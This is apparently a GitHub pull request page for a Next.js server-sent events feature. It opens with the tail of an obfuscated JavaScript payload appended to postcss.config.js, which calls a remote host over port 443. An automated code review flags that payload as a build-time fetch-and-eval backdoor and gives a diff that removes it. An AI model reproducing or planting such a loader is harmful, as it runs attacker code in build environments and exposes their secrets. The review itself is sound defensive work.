URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical
Injection (CWE-95): Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Reachability: External
Reachability path
● Entry
src/features/middleware/middlewares/rate-limit-middleware.ts:24
ip
│
▼
● Sink
postcss.config.js
Remove the module-load payload before merge.
Line 9 appends an obfuscated IIFE after the valid PostCSS export. It derives IP addresses from blockchain data, fetches bytes over HTTP, decodes the response, and executes it with eval(r+o) and spawn("node", ["-e", r+o], ...). This enables arbitrary code execution in the PostCSS/build environment and can expose build secrets or leave a detached process running.
Delete the createRequire shim and everything after the clean export default block. Rotate secrets available to affected build environments. This is the same unresolved finding as the previous review comment.
Remove the payload
-import { createRequire } from 'module';
-
-const require = createRequire(import.meta.url);
-
export default {
plugins: {
"`@tailwindcss/postcss`": {},
},
-}; /* remove the appended obfuscated IIFE */
+};Do not load the current configuration during validation. After removal, scan the file for createRequire, eval, spawn, and global payload signatures.
🧰 Tools
🪛 ast-grep (0.45.0)
[warning] 8-8: Avoid eval with expressions
Context: eval(r+o)
Note: [CWE-95] Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').
(detect-eval-with-expression)
🪛 Biome (2.5.5)
[error] 9-9: eval() exposes to security risks and performance issues.
(lint/security/noGlobalEval)
🪛 OpenGrep (1.26.0)
[ERROR] 9-9: eval() with dynamic input can execute arbitrary code. Avoid dynamic code evaluation entirely, or use a safe alternative.
(coderabbit.code-injection.eval-js)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@postcss.config.js` around lines 1 - 9, Remove the createRequire shim and all
payload code appended after the clean export default configuration in
postcss.config.js, leaving only the valid PostCSS plugin export. Ensure no
createRequire, eval, spawn, global payload signatures, or other module-load
execution remain, and rotate secrets exposed to affected build environments
without loading the compromised configuration during validation.
Source: Linters/SAST tools
ddcf7c6 to
f0b556f
Compare
Summary:
This PR introduces a complete server-sent events (SSE) system that enables real-time, one-way communication from the server to connected clients. It supports user-specific messaging, broadcasting to all connected users, and tracking of currently active clients.
Features Implemented
File
src/app/api/sse-test/route.ts1. addClient(userId: string, client: Client)
Purpose: Registers a new connected client.
Usage: Invoked after successfully setting up the SSE connection (GET request). Stores the client in the clients Map with their unique userId.
2. removeClient(userId: string)
Purpose: Unregisters a client and frees up resources.
Usage: Called when the client disconnects (on abort) or when an error occurs during communication. Removes the client from the Map.
3. sendToUser(id: string, event: string, data: Record<string, string>)
Purpose: Sends an SSE message to a specific user.
Usage: Triggered inside the POST method when a userId is provided. Constructs an SSE message with a custom event and JSON data, then writes it to the target user’s stream.
4. broadcast(event: string, data: any)
Purpose: Sends a message to all connected clients.
Usage: Used in the POST method when no userId is specified. It writes the same message to every registered client and removes any that fail.
5. getActiveUserIds()
Purpose: Returns a list of all currently connected user IDs.
Usage: Exposed via another API route (/api/sse-test/sse-users) to retrieve active users for UI or diagnostics.
6. GET(req: NextRequest)
Purpose: Handles incoming SSE connection requests from clients.
Usage: When a client initiates an SSE connection, this sets up the stream, responds with appropriate headers, and registers the client with their userId. Also handles cleanup on disconnection.
7. POST(req: NextRequest)
Purpose: Sends messages to one or many users.
Usage: Accepts a JSON payload with userId, event, and data. If userId is provided, it targets a specific user; otherwise, it broadcasts to all.
🛠️ Usage Flow
Client connects via GET /api/sse-test?userId= → server registers client.
Client disconnects or connection fails → server cleans up client entry.
Message sent via POST:
If userId is provided → goes to that specific user.
If userId is missing → broadcasted to all users.
Active user list fetched via /api/sse-test/sse-users for UI display.
🧪 Testing
Connected multiple tabs to test unique user sessions.
Sent targeted and broadcast messages.
Verified client disconnection is cleaned up.
Fetched list of active users for UI integration.
📎 Note
This implementation is designed for Edge Runtime in Next.js, making it highly scalable for real-time use cases (e.g., chat apps, notifications, dashboards).
File
src/app/(public)/sse-test/page.tsxFeatures Implemented
1. User Connection Management
Uses EventSource to initiate a persistent SSE connection with the server via /api/sse-test?userId=.
Automatically generates a new userId on first mount or reconnection.
Shows real-time status (connected/disconnected) with colored indicators.
Handles cleanup and reconnection using useEffect.
2. Logs with Timestamps
Each system event (connect, disconnect, message received, error, etc.) is logged with:
A timestamp
Log level (info, success, error, data)
Helps in debugging SSE stream behavior during development.
3. Message Sending
Supports sending a message to:
A specific user (via POST /api/sse-test with userId)
All users (via POST /api/sse-test without userId)
Message body and event type (TestBroadcastEvent) are customizable and handled by the server.
4. Dynamic User ID Support
Users can generate a new UUID and reconnect using it.
Their current userId is displayed, helping them know what ID they are broadcasting from.
5. UI Buttons for Actions
Connect, Disconnect, Clear Logs, and Reconnect with New ID buttons give full control over session state.
Message box + send buttons allow testing one-to-one and one-to-many messages.
6. Known Users State
Maintains a list of known user IDs (basic form of user presence tracking, extendable in future).
Automatically adds the current user to the list once connected.
🖥️ User Experience
Real-time logs in a scrollable console panel.
Friendly messages, color-coded log levels, and intuitive buttons for a smooth dev/debugging experience.
Designed with TailwindCSS and responsive layout in mind.
🔄 Usage Flow
On page load, a new connection is established with a generated userId.
User can:
Send messages to other users (with known IDs),
Broadcast to everyone,
Disconnect and reconnect with a new ID,
View real-time logs of all messages/events.
All messages use event type TestBroadcastEvent, enabling listening via eventSource.addEventListener.
🧪 Testing Notes
SSE connection opens on load and logs success
Disconnect closes stream and logs disconnection
Messages are correctly received in log panel
Reconnection with new ID works and updates userId display
Logs persist until cleared manually
📎 Future Improvements
Add dropdown to select target user from active user list (once /sse-users is working).
Add typing indicators, custom event types, or JSON validation.
Persist log history using localStorage.
Summary by CodeRabbit
Bug Fixes
Chores